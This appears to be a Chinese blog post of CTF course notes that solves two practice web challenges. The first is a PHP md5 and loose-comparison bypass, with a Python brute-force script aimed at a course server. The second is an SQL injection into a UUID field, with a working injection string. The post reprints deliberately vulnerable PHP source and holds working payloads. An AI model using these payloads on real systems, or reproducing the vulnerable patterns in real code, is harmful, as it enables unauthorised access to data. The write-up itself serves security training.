<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 4.2.1">
  <link rel="apple-touch-icon" sizes="180x180" href="/file/apple-touch-icon.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/file/favicon-32x32.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/file/favicon-16x16.png">
  <link rel="mask-icon" href="/file/logo.svg" color="#222">

<link rel="stylesheet" href="/css/main.css">


<link rel="stylesheet" href="/lib/font-awesome/css/all.min.css">

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"czlz.net","root":"/","scheme":"Pisces","version":"7.8.0","exturl":false,"sidebar":{"position":"right","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":false,"scrollpercent":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.xml"};
  </script>

  <meta name="description" content="前言第三天，练习。">
<meta property="og:type" content="article">
<meta property="og:title" content="练习（大比武_CTF课_第三天）">
<meta property="og:url" content="https://czlz.net/2020/jxsw_dbw_web_3/index.html">
<meta property="og:site_name" content="粗制乱造的个人网站">
<meta property="og:description" content="前言第三天，练习。">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://czlz.net/2020/jxsw_dbw_web_3/web1_1.png">
<meta property="og:image" content="https://czlz.net/2020/jxsw_dbw_web_3/flag.png">
<meta property="article:published_time" content="2020-08-07T15:15:08.849Z">
<meta property="article:modified_time" content="2020-07-11T07:53:58.546Z">
<meta property="article:author" content="粗制乱造">
<meta property="article:tag" content="CTF">
<meta property="article:tag" content="练习题">
<meta property="article:tag" content="CTF课">
<meta property="article:tag" content="WEB">
<meta property="article:tag" content="文件上传">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://czlz.net/2020/jxsw_dbw_web_3/web1_1.png">

<link rel="canonical" href="https://czlz.net/2020/jxsw_dbw_web_3/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'zh-CN'
  };
</script>

  <title>练习（大比武_CTF课_第三天） | 粗制乱造的个人网站</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">粗制乱造的个人网站</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
      <p class="site-subtitle" itemprop="description">杂七杂八的一堆东西</p>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
        <i class="fa fa-search fa-fw fa-lg"></i>
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>

  </li>
        <li class="menu-item menu-item-about">

    <a href="/about/" rel="section"><i class="fa fa-user fa-fw"></i>关于</a>

  </li>
        <li class="menu-item menu-item-python">

    <a href="/pyodide/" rel="section"><i class="fa fa-user fa-fw"></i>在线Python3.8</a>

  </li>
      <li class="menu-item menu-item-search">
        <a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
        </a>
      </li>
  </ul>
</nav>



  <div class="search-pop-overlay">
    <div class="popup search-popup">
        <div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input-container">
    <input autocomplete="off" autocapitalize="off"
           placeholder="搜索..." spellcheck="false"
           type="search" class="search-input">
  </div>
  <span class="popup-btn-close">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div id="search-result">
  <div id="no-result">
    <i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
  </div>
</div>

    </div>
  </div>

</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="https://czlz.net/2020/jxsw_dbw_web_3/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/file/avatar.png">
      <meta itemprop="name" content="粗制乱造">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="粗制乱造的个人网站">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          练习（大比武_CTF课_第三天）
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              <time title="创建时间：2020-08-07 23:15:08" itemprop="dateCreated datePublished" datetime="2020-08-07T23:15:08+08:00">2020-08-07</time>
            </span>
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="far fa-calendar-check"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2020-07-11 15:53:58" itemprop="dateModified" datetime="2020-07-11T15:53:58+08:00">2020-07-11</time>
              </span>
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-folder"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/CTF/" itemprop="url" rel="index"><span itemprop="name">CTF</span></a>
                </span>
                  ，
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/CTF/%E7%AC%94%E8%AE%B0/" itemprop="url" rel="index"><span itemprop="name">笔记</span></a>
                </span>
                  ，
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/CTF/%E7%AC%94%E8%AE%B0/WEB/" itemprop="url" rel="index"><span itemprop="name">WEB</span></a>
                </span>
                  ，
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/CTF/%E7%AC%94%E8%AE%B0/WEB/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/" itemprop="url" rel="index"><span itemprop="name">文件上传</span></a>
                </span>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <!-- toc -->
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>第三天，练习。</p>
<a id="more"></a>

<h1 id="课堂练习"><a href="#课堂练习" class="headerlink" title="课堂练习"></a>课堂练习</h1><h2 id="web1"><a href="#web1" class="headerlink" title="web1"></a>web1</h2><p>老师布置的练习题，第一题代码审计。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">  <span class="keyword">require_once</span>(<span class="string">'flag.php'</span>);</span><br><span class="line">  <span class="keyword">if</span> ($_ = @$_GET[<span class="string">'pass'</span>]) &#123;</span><br><span class="line">    $ua = $_SERVER[<span class="string">'HTTP_USER_AGENT'</span>];</span><br><span class="line">    <span class="keyword">if</span> (md5($_) + $_[<span class="number">0</span>] == md5($ua)) &#123;</span><br><span class="line">      <span class="keyword">if</span> ($_[<span class="number">0</span>] == md5($_[<span class="number">0</span>] . $flag)[<span class="number">0</span>]) &#123;</span><br><span class="line">        <span class="keyword">echo</span> $flag;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure>
<h3 id="关键问题"><a href="#关键问题" class="headerlink" title="关键问题"></a>关键问题</h3><p>1、php的MD5是不能加密数组的，所以可以利用数组绕过第一个参数$_的MD5加密</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#测试代码</span></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">  $_= <span class="keyword">array</span>(<span class="number">0</span>);</span><br><span class="line">  <span class="keyword">echo</span> md5($_);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>运行这个PHP代码，是不会得到MD5加密信息的，这时md5($<em>)的结果应当null。<br>2、PHP的==的问题<br>PHP执行关系运算“==”时要求运算符两边的数据类型必须一致，所以等号右边的字符串被强制转换成与左边一样的类型。<br>如果左右都为字符型的话，那么结果一定为真。<br>3、$_SERVER[‘HTTP_USER_AGENT’]成为了一个可有可无的参数。因为PHP的MD5对于未赋值的变量，默认为””空字符。<br>这个””空字符的MD5=d41d8cd98f00b204e9800998ecf8427e。所以即使没有HTTP_USER_AGENT也可以直接爆破。<br>4、md5($</em>[0] . $flag)[0]的关系,这里其实无所谓，因为他只取了一位。还是靠PHP类型转换的特性来绕过。</p>
<p>可以直接使用脚本爆破</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://47.100.139.40:81/?pass[]=0e"</span></span><br><span class="line"></span><br><span class="line">headers = &#123;</span><br><span class="line">    <span class="string">'Host'</span>: <span class="string">'47.100.139.40:81'</span>,</span><br><span class="line">    <span class="string">'User-Agent'</span>: <span class="string">'QNKCDZO'</span>,</span><br><span class="line">    <span class="string">'Accept'</span>: <span class="string">'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'</span>,</span><br><span class="line">    <span class="string">'Accept-Language'</span>: <span class="string">'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'</span>,</span><br><span class="line">    <span class="string">'Accept-Encoding'</span>: <span class="string">'gzip, deflate'</span>,</span><br><span class="line">    <span class="string">'Connection'</span>: <span class="string">'keep-alive'</span>,</span><br><span class="line">    <span class="string">'Upgrade-Insecure-Requests'</span>: <span class="string">'1'</span>,</span><br><span class="line">    <span class="string">'Origin'</span>: <span class="string">'ohhhhhh'</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> xrange(<span class="number">100000</span>):</span><br><span class="line">    html = requests.get(url+str(i))</span><br><span class="line">    <span class="keyword">if</span> <span class="string">'35c3'</span> <span class="keyword">in</span> html.content:</span><br><span class="line">        <span class="keyword">print</span> i</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> html.text</span><br></pre></td></tr></table></figure>
<p>另外可以直接构造出?pass[]=0e0这种特殊的playload直接得到结果。<br><img src="web1_1.png" alt="1"></p>
<h2 id="web2"><a href="#web2" class="headerlink" title="web2"></a>web2</h2><p>也是代码审计题，这里用了sqlite数据库，核心代码如下：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">swap</span><span class="params">(&amp;$arr, $i, $j)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">list</span>($arr[$i], $arr[$j]) = <span class="keyword">array</span>($arr[$j], $arr[$i]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// cryptographic functions</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">ksa</span><span class="params">($key)</span> </span>&#123;</span><br><span class="line">  $state = [];</span><br><span class="line">  <span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; <span class="number">256</span>; $i++) &#123;</span><br><span class="line">    $state[$i] = $i;</span><br><span class="line">  &#125;</span><br><span class="line">  $j = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; <span class="number">256</span>; $i++) &#123;</span><br><span class="line">    $j = ($j + $state[$i] + ord($key[$i % strlen($key)])) % <span class="number">256</span>;</span><br><span class="line">    swap($state, $i, $j);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> $state;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">prga</span><span class="params">($state)</span> </span>&#123;</span><br><span class="line">  $i = <span class="number">0</span>;</span><br><span class="line">  $j = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">    $i = ($i + <span class="number">1</span>) % <span class="number">256</span>;</span><br><span class="line">    $j = ($j + $state[$i]) % <span class="number">256</span>;</span><br><span class="line">    swap($state, $i, $j);</span><br><span class="line">    <span class="keyword">yield</span> $state[($state[$i] + $state[$j]) % <span class="number">256</span>];</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">arcfour</span><span class="params">($str, $key)</span> </span>&#123;</span><br><span class="line">  $return = <span class="string">''</span>;</span><br><span class="line">  $state = ksa($key);</span><br><span class="line">  $gen = prga($state);</span><br><span class="line">  <span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; strlen($str); $i++) &#123;</span><br><span class="line">    $return .= chr(ord($str[$i]) ^ $gen-&gt;current());</span><br><span class="line">    $gen-&gt;next();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> $return;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// utility functions</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">is_uuid</span><span class="params">($str)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">if</span> (strlen($str) !== <span class="number">36</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ($str[<span class="number">8</span>] !== <span class="string">'-'</span> <span class="keyword">or</span> $str[<span class="number">13</span>] !== <span class="string">'-'</span> <span class="keyword">or</span> $str[<span class="number">18</span>] !== <span class="string">'-'</span> <span class="keyword">or</span> $str[<span class="number">23</span>] !== <span class="string">'-'</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">uuid4</span><span class="params">()</span> </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> sprintf(<span class="string">'%04x%04x-%04x-%04x-%04x-%04x%04x%04x'</span>,</span><br><span class="line">    mt_rand(<span class="number">0</span>, <span class="number">0xffff</span>),</span><br><span class="line">    mt_rand(<span class="number">0</span>, <span class="number">0xffff</span>),</span><br><span class="line">    mt_rand(<span class="number">0</span>, <span class="number">0xffff</span>),</span><br><span class="line">    mt_rand(<span class="number">0</span>, <span class="number">0xfff</span>) | <span class="number">0x4000</span>,</span><br><span class="line">    mt_rand(<span class="number">0</span>, <span class="number">0x3fff</span>) | <span class="number">0x8000</span>,</span><br><span class="line">    mt_rand(<span class="number">0</span>, <span class="number">0xffff</span>),</span><br><span class="line">    mt_rand(<span class="number">0</span>, <span class="number">0xffff</span>),</span><br><span class="line">    mt_rand(<span class="number">0</span>, <span class="number">0xffff</span>)</span><br><span class="line">  );</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">include</span> <span class="string">'functions.php'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!file_exists($_FILES[<span class="string">'file'</span>][<span class="string">'tmp_name'</span>]) || !is_uploaded_file($_FILES[<span class="string">'file'</span>][<span class="string">'tmp_name'</span>])) &#123;</span><br><span class="line">  <span class="keyword">die</span>(<span class="string">'no file was uploaded'</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ($_FILES[<span class="string">'file'</span>][<span class="string">'size'</span>] &gt; <span class="number">10000</span>) &#123;</span><br><span class="line">  <span class="keyword">die</span>(<span class="string">'uploaded file is too large'</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>($_POST[<span class="string">'uuid'</span>]) || <span class="keyword">empty</span>($_POST[<span class="string">'uuid'</span>])) &#123;</span><br><span class="line">  <span class="keyword">die</span>(<span class="string">'no UUID was provided'</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$uuid = $_POST[<span class="string">'uuid'</span>];</span><br><span class="line"><span class="keyword">if</span> (!is_string($uuid) || !is_uuid($uuid)) &#123;</span><br><span class="line">  <span class="keyword">die</span>(<span class="string">'invalid UUID'</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$data = file_get_contents($_FILES[<span class="string">'file'</span>][<span class="string">'tmp_name'</span>]);</span><br><span class="line"></span><br><span class="line">$pdo = <span class="keyword">new</span> PDO(<span class="string">'sqlite:key.db'</span>);</span><br><span class="line">$stmt = $pdo-&gt;query(<span class="string">"SELECT key FROM decryption_key WHERE id = '$uuid'"</span>);</span><br><span class="line">$res = $stmt-&gt;fetch();</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ($res === <span class="keyword">false</span>) &#123;</span><br><span class="line">  <span class="keyword">die</span>(<span class="string">'key not found'</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$filename = basename($_FILES[<span class="string">'file'</span>][<span class="string">'name'</span>], <span class="string">'.encrypted'</span>);</span><br><span class="line">$decrypted = arcfour($data, $res[<span class="string">'key'</span>]);</span><br><span class="line">header(<span class="string">'Content-Disposition: attachment; filename="'</span> . $filename . <span class="string">'";'</span>);</span><br><span class="line">header(<span class="string">'Content-Length: '</span> . strlen($decrypted));</span><br><span class="line">header(<span class="string">'Content-Type: application/force-download'</span>);</span><br><span class="line"><span class="keyword">echo</span> $decrypted;</span><br></pre></td></tr></table></figure>
<p>这题。。其实早就解出来了。。但是我居然忘记用老师发的flag.png.encrypted文件了。<br>真是该死这个要狠狠的批评自己。<br>这题就是没过滤用户提交的数据<br>直接构造特殊的SQL语句就可以跑出结果。</p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">'or id<span class="comment">/*-xxxx-xxxx-xxxx-*/</span>like'9e5a%</span><br></pre></td></tr></table></figure>
<p><img src="flag.png" alt="1"></p>

    </div>

    
    
    
        <div class="reward-container">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button onclick="var qr = document.getElementById('qr'); qr.style.display = (qr.style.display === 'none') ? 'block' : 'none';">
    打赏
  </button>
  <div id="qr" style="display: none;">
      
      <div style="display: inline-block;">
        <img src="/file/weixin.png" alt="粗制乱造 微信支付">
        <p>微信支付</p>
      </div>
      
      <div style="display: inline-block;">
        <img src="/file/zfb.png" alt="粗制乱造 支付宝">
        <p>支付宝</p>
      </div>

  </div>
</div>


      <footer class="post-footer">
          <div class="post-tags">
              <a href="/tags/CTF/" rel="tag"># CTF</a>
              <a href="/tags/%E7%BB%83%E4%B9%A0%E9%A2%98/" rel="tag"># 练习题</a>
              <a href="/tags/CTF%E8%AF%BE/" rel="tag"># CTF课</a>
              <a href="/tags/WEB/" rel="tag"># WEB</a>
              <a href="/tags/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/" rel="tag"># 文件上传</a>
          </div>

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/2020/jxsw_dbw_web_1/" rel="prev" title="MYSQL注入绕过（大比武_CTF课_第一天）">
      <i class="fa fa-chevron-left"></i> MYSQL注入绕过（大比武_CTF课_第一天）
    </a></div>
      <div class="post-nav-item">
    <a href="/2020/jxsw_dbw_web_2/" rel="next" title="WEB文件上传（大比武_CTF课_第二天）">
      WEB文件上传（大比武_CTF课_第二天） <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#前言"><span class="nav-number">1.</span> <span class="nav-text">前言</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#课堂练习"><span class="nav-number">2.</span> <span class="nav-text">课堂练习</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#web1"><span class="nav-number">2.1.</span> <span class="nav-text">web1</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#关键问题"><span class="nav-number">2.1.1.</span> <span class="nav-text">关键问题</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#web2"><span class="nav-number">2.2.</span> <span class="nav-text">web2</span></a></li></ol></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="粗制乱造"
      src="/file/avatar.png">
  <p class="site-author-name" itemprop="name">粗制乱造</p>
  <div class="site-description" itemprop="description"></div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/archives/">
        
          <span class="site-state-item-count">43</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
      <div class="site-state-item site-state-categories">
            <a href="/categories/">
          
        <span class="site-state-item-count">37</span>
        <span class="site-state-item-name">分类</span></a>
      </div>
      <div class="site-state-item site-state-tags">
            <a href="/tags/">
          
        <span class="site-state-item-count">59</span>
        <span class="site-state-item-name">标签</span></a>
      </div>
  </nav>
</div>



      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        

<div class="copyright">
  
  &copy; 
  <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-heart"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">粗制乱造</span>
</div>
  <div class="powered-by">由 <a href="https://czlz.net/" class="theme-link">czlz.net</a> 强力驱动
  </div>

        








      </div>
    </footer>
  </div>

  
  <script src="/lib/anime.min.js"></script>
  <script src="/lib/velocity/velocity.min.js"></script>
  <script src="/lib/velocity/velocity.ui.min.js"></script>

<script src="/js/utils.js"></script>

<script src="/js/motion.js"></script>


<script src="/js/schemes/pisces.js"></script>


<script src="/js/next-boot.js"></script>




  




  
<script src="/js/local-search.js"></script>













  

  

</body>
</html>
